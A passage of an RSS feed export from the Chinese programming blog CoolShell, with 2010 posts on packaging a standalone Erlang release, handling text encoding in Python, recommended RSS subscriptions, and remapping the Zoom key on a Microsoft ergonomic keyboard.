src=\"https://coolshell.cn/wp-content/uploads/2009/04/snake-150x150.jpg\" alt=\"某Python实现的尾部递归\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/737.html\" class=\"wp_rp_title\">某Python实现的尾部递归</a></li><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2117.html\">Titanium – 桌面和移动应用开发平台</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2117.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>erlang打包独立环境</title>\n\t\t<link>https://coolshell.cn/articles/2111.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2111.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[free.wang]]></dc:creator>\n\t\t<pubDate>Wed, 03 Mar 2010 18:55:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Erlang]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2111</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近公司代码需要在非erlang的系统上执行，需要能在独立的环境里运行erlang。研究甚久，于是写下这篇博文。国内用erlang的朋友不多，希望这篇blog能...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2111.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2111.html\">erlang打包独立环境</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近公司代码需要在非erlang的系统上执行，需要能在独立的环境里运行erlang。研究甚久，于是写下这篇博文。国内用erlang的朋友不多，希望这篇blog能对有需要的朋友起到参考作用。</p>\n<blockquote><p>Application-Vsn/ebin<br />\n/include<br />\n/priv<br />\n/src<br />\n/Application-Vsn.rel</p></blockquote>\n<p>以上是代码的目录表.</p>\n<blockquote><p>{release, {&#8220;nextim&#8221;, &#8220;2.0&#8221;},<br />\n{erts, &#8220;5.7.5&#8221;},<br />\n[{kernel, &#8220;2.12.3&#8221;},<br />\n{stdlib, &#8220;1.15.3&#8221;},<br />\n{sasl, &#8220;2.1.5.3&#8221;}]<br />\n}.</p></blockquote>\n<p>以上是Application-Vsn.rel的内容,[]中是代码本身需要的lib。</p>\n<p><span id=\"more-2111\"></span></p>\n<p>1.执行erl -pa ./ebin . 这一步会生成nextim-2.boot文件</p>\n<blockquote><p>1&gt; systools:make_script(nextim-2&#8243;, [local]).<br />\nok</p></blockquote>\n<p>2.erl -boot nextim-2 . 这一步会生成nextim-2.tar.gz</p>\n<blockquote><p>systools:make_tar(&#8220;nextim-2&#8221;).</p></blockquote>\n<p>3.现在建议把tar.gz文件放到独立的路径里 这样不会影响Application-Vsn文件夹 ，然后解压 并进入目录， 复制erlang系统目录里的 erts-5.7.5 到当前目录</p>\n<p>4.建立bin文件夹 复制  <span style=\"color: #ff0000;\"><code>erts-5.7.5/bin/start</code> </span>到 <code><span style=\"color: #ff0000;\">bin/</span> 编辑 <span style=\"color: #ff0000;\">bin/start</span> 改 <span style=\"color: #ff9900;\">ROOTDIR</span>为当前目录的路径</code></p>\n<p>5.复制<span style=\"color: #ff0000;\"><code>erts-5.7.5/bin/run_erl</code></span> <code>和 </code><span style=\"color: #ff0000;\"><code>erts-5.7.2/bin/erl</code></span><code> 到 <span style=\"color: #ff0000;\">bin</span> 并且如同上一步一样修改ROOTDIR.</code></p>\n<p>6.复制 <span style=\"color: #ff0000;\"><code>$ERLDIR/bin/start_sasl.boot</code></span> 到  <span style=\"color: #ff0000;\"><code>bin/start.boot</code></span>.</p>\n<p>7. <span style=\"color: #ff9900;\"><code>echo</code> <code>\"5.7.5</code> <code>2.0\"</code> <code>&gt;</code> <code>releases/start_erl.data</code>.</span></p>\n<p>6.执行bin文件里的erl</p>\n<blockquote><p>release_handler:create_RELEASES(&#8220;$ROOTDIR&#8221;, &#8220;$ROOTDIR/releases/&#8221;, &#8220;$ROOTDIR/releases/nextim-2.rel&#8221;, []).</p></blockquote>\n<p>7.再把自己的项目文件复制到lib中  然后启动时 -pa参数是 lib文件夹. 完成这一步，就能独立出erlang环境了。</p>\n<p>以上内容 参考自</p>\n<p>http://spawnlink.com/articles/an-introduction-to-releases-with-erlybank/</p>\n<p>http://streamhacker.com/2009/07/02/how-to-create-an-erlang-first-target-system/<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"mochiweb参数化模型Req相关功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1516.html\" class=\"wp_rp_title\">mochiweb参数化模型Req相关功能</a></li><li ><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Erlang和Python互通\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_title\">Erlang和Python互通</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" alt=\"MySQL性能优化的最佳20+条经验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_title\">MySQL性能优化的最佳20+条经验</a></li><li ><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"一些软件设计的原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_title\">一些软件设计的原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2111.html\">erlang打包独立环境</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2111.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python处理encoding的小技巧</title>\n\t\t<link>https://coolshell.cn/articles/2109.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2109.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Mon, 08 Feb 2010 14:06:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2109</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>用Python写过处理文本经常会遇到需要decoding或者encoding, 尤其是处理中文的时候。 encoding的问题处理起来是个脏活儿，报错不太容易看...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2109.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2109.html\">Python处理encoding的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>用Python写过处理文本经常会遇到需要decoding或者encoding, 尤其是处理中文的时候。</p>\n<p>encoding的问题处理起来是个脏活儿，报错不太容易看懂，网上相关资料不太好查。有同感？请继续读下去。</p>\n<p>常规做法是读取文件的时候立刻decode, 所有的处理工作都用unicode，写会文件的时候encode. 但是等到读取的时候在处理的代码读/写起来都很别扭，感觉像穿上鞋以后袜子滑下来了&#8230;<span style=\"color: #ff0000;\">Python 3.1.1</span><span style=\"color: #ff0000;\">以上</span>的版本解决了该问题。在Python 3.1.1中，打开文件可以加入encoding的参数：</p>\n<pre>file = open(filename, <span style=\"color: #0000ff;\">encoding='xxx'</span>)</pre>\n<p>啊，这样看起来终于舒坦了。 不同写如下的code了</p>\n<pre>file = open(filename)\nfor line in file:\n    <span style=\"color: #0000ff;\">decoded_line = line.decode('xxx')</span>\n    do something else\n提倡使用<span style=\"color: #0000ff;\">utf8</span></pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2109.html\">Python处理encoding的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2109.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>分享：我的Reader订阅</title>\n\t\t<link>https://coolshell.cn/articles/2105.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2105.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Mon, 08 Feb 2010 13:47:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Reader]]></category>\n\t\t<category><![CDATA[RSS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2105</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>应网友workout和其他热心读者的要求，我罗列一些自己觉得值得推荐的feed。用纯文字罗列如下，想找到以下的话可以通过Google。希望大家在此互相分享。 适...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2105.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2105.html\">分享：我的Reader订阅</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>应网友workout和其他热心读者的要求，我罗列一些自己觉得值得推荐的feed。用纯文字罗列如下，想找到以下的话可以通过Google。希望大家在此互相分享。</p>\n<p>适合读者：广谱技术爱好者，国外互联网信息爱好者，用户行为和设计爱好者， 语言爱好者，阅读狂。</p>\n<p><strong>技术类</strong></p>\n<ul>\n<li>Coding horror</li>\n<li>Joel on software</li>\n<li>unified Python planet</li>\n</ul>\n<p><strong>业界信息</strong></p>\n<ul>\n<li>谷歌黑板报</li>\n<li>Search Blog: Bing</li>\n<li>Search</li>\n<li>百度爱好者</li>\n<li>silicon valley watcher</li>\n<li>Google Blogscoped</li>\n<li>Google Code Blog</li>\n<li>月光博客</li>\n<li>apple4us</li>\n<li>古奥</li>\n<li>望月的博客</li>\n<li>Google Operating System</li>\n</ul>\n<p><strong>杰出个人博客</strong></p>\n<ul>\n<li>Paul Graham Essays</li>\n<li>Pure Pleasure &#8211; lixiaolai.com</li>\n<li>The noisy channel</li>\n<li>李开复新浪博客</li>\n<li>韩寒博客</li>\n<li>the trump blog</li>\n<li>Matt Cutts</li>\n<li>Linus blog</li>\n<li>Paul Buchheit (Gmail创始人)</li>\n<li>Peter Norvig (人工智能大儒， Google 研究总监)</li>\n<li>too (Google 创始人博客）</li>\n<li>Alon Halevy&#8217;s Blog</li>\n<li>Daniel Lemire&#8217;s blog</li>\n<li>Clay Shirky</li>\n<li>Earning My Turns</li>\n<li>How to change the world</li>\n</ul>\n<p><span id=\"more-2105\"></span></p>\n<p><strong>英语学习</strong></p>\n<ul>\n<li>London Review of Books</li>\n<li>New York Review of Books</li>\n</ul>\n<p><strong>研究或学习类</strong></p>\n<ul>\n<li>MIT OpenCourseWare: CS and EE</li>\n<li>Recent Google Publication</li>\n<li>Language Log</li>\n</ul>\n<p><strong>用户体验和设计类</strong></p>\n<ul>\n<li>Mozilla Labs</li>\n<li>Taobao.com UED team blog</li>\n<li>uxday</li>\n<li>Alipay UED</li>\n<li>Aza&#8217;s thoughts</li>\n<li>A List Apart</li>\n</ul>\n<p><strong>娱乐消遣类</strong></p>\n<ul>\n<li>the big picture</li>\n<li>煎蛋</li>\n<li>有意思吧</li>\n<li>Lolcats &#8216;n&#8217; funny pictures</li>\n<li>Drawn! The illustration and cartooning blog</li>\n<li>科学松鼠会</li>\n</ul>\n<p>更多经典种子，亲爱的读者，等你添加。分享是快乐的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/780.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何知道某网站运行在GAE上\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/780.html\" class=\"wp_rp_title\">如何知道某网站运行在GAE上</a></li><li ><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li><li ><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"两个C++的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_title\">两个C++的资源</a></li><li ><a href=\"https://coolshell.cn/articles/2466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/05/google_pacman-150x150.jpg\" alt=\"Google吃豆游戏Logo的源码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2466.html\" class=\"wp_rp_title\">Google吃豆游戏Logo的源码</a></li><li ><a href=\"https://coolshell.cn/articles/7.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/1-150x150.png\" alt=\"你应该知道的20个Ajax技术(01-10)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7.html\" class=\"wp_rp_title\">你应该知道的20个Ajax技术(01-10)</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2105.html\">分享：我的Reader订阅</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2105.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>29</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何修改微软人体工学键盘的Zoom键</title>\n\t\t<link>https://coolshell.cn/articles/2097.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2097.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 07 Feb 2010 02:08:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[键盘]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2097</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如果你不是订阅本站的用户，你很肯能可能是通过搜索引擎的魔力来到本文的。 微软的软件产品咱们暂且不谈，他们生产的键盘鼠标确实很不错。例如，经典的 microsof...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2097.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2097.html\">如何修改微软人体工学键盘的Zoom键</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如果你不是订阅本站的用户，你很肯能可能是通过搜索引擎的魔力来到本文的。</p>\n<p>微软的软件产品咱们暂且不谈，他们生产的键盘鼠标确实很不错。例如，经典的 microsoft natural ergonomic keyboard 4000 （见图）。著名Google工程师博主Matt Cutts用的就是这个（<a href=\"http://www.mattcutts.com/blog/30-days-no-microsoft-software/\">参考链接</a>）。</p>\n<p>可是每个入手该键盘的geek都会觉得，这个弱智的设计师把zoom键放在中间干嘛，应该用来当上下滚轮嘛。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/keyboard.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2098\" title=\"keyboard\" src=\"https://coolshell.cn/wp-content/uploads/2010/02/keyboard.jpg\" alt=\"\" width=\"464\" height=\"262\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/02/keyboard.jpg 464w, https://coolshell.cn/wp-content/uploads/2010/02/keyboard-300x169.jpg 300w\" sizes=\"(max-width: 464px) 100vw, 464px\" /></a></p>\n<p>无独有偶，该问题已经被先辈们解决，笔者只搜到了<a href=\"http://paininthetech.com/2006/04/29/hack-the-microsoft-natural-4000-keyboard\">英文文章</a></p>\n<p>为了让中文读者方便找到并使用，暂且将关键步骤翻译如下：</p>\n<ol>\n<li>下载微软键盘驱动 <a href=\"http://www.microsoft.com/hardware/download/download.aspx?category=MK\">http://www.microsoft.com/hardware/download/download.aspx?category=MK</a></li>\n<li>找到command.xml文件，应该是在 C:\\Program Files\\Microsoft IntelliType Pro\\</li>\n<li>编辑command.xml文件（建议之前备份），替换<strong>所有</strong> <span style=\"color: #0000ff;\">&lt;C319 Type=&#8221;6&#8243; Activator=&#8221;ZoomIn&#8221; /&gt;</span> 为<span style=\"color: #0000ff;\">&lt;C319 Type=&#8221;6&#8243; Activator=&#8221;<span style=\"color: #ff0000;\">ScrollUp</span>&#8221; /&gt;</span><strong>,  所有</strong><span style=\"color: #0000ff;\"> &lt;C320 Type=&#8221;6&#8243; Activator=&#8221;ZoomOut&#8221; /&gt; </span>替换为<strong> <span style=\"color: #0000ff;\"><span style=\"font-weight: normal;\">&lt;C320 Type=&#8221;6&#8243; Activator=&#8221;<span style=\"color: #ff0000;\">ScrollDown</span>&#8221; /&gt;</span></span> </strong>用Notepad或者记事本可以实现，应该是10个左右。</li>\n<li>重启电脑（貌似这一步不能省）</li>\n</ol>\n<p>图例：修改前</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/before.png\"><img decoding=\"async\" loading=\"lazy\" title=\"before\" src=\"https://coolshell.cn/wp-content/uploads/2010/02/before.png\" alt=\"\" width=\"508\" height=\"94\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/before.png\"></a>图例：修改后</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/02/after.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2101\" title=\"after\" src=\"https://coolshell.cn/wp-content/uploads/2010/02/after.png\" alt=\"\" width=\"556\" height=\"79\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/02/after.png 556w, https://coolshell.cn/wp-content/uploads/2010/02/after-300x42.png 300w\" sizes=\"(max-width: 556px) 100vw, 556px\" /></a></p>\n<p>这样你就可以用Zoom来替代鼠标滚轮了。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/378.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/osborne1-150x150.jpg\" alt=\"笔记本电脑的发展史\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/378.html\" class=\"wp_rp_title\">笔记本电脑的发展史</a></li><li ><a href=\"https://coolshell.cn/articles/1826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"几个有趣的404错误页面\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1826.html\" class=\"wp_rp_title\">几个有趣的404错误页面</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/6994.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"我们需要专职的QA吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6994.html\" class=\"wp_rp_title\">我们需要专职的QA吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3572.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C语言函数实现的另类方法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3572.html\" class=\"wp_rp_title\">C语言函数实现的另类方法</a></li><li ><a href=\"https://coolshell.cn/articles/9156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/rework-150x150.jpg\" alt=\"《Rework》摘录及感想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9156.html\" class=\"wp_rp_title\">《Rework》摘录及感想</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2097.html\">如何修改微软人体工学键盘的Zoom键</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 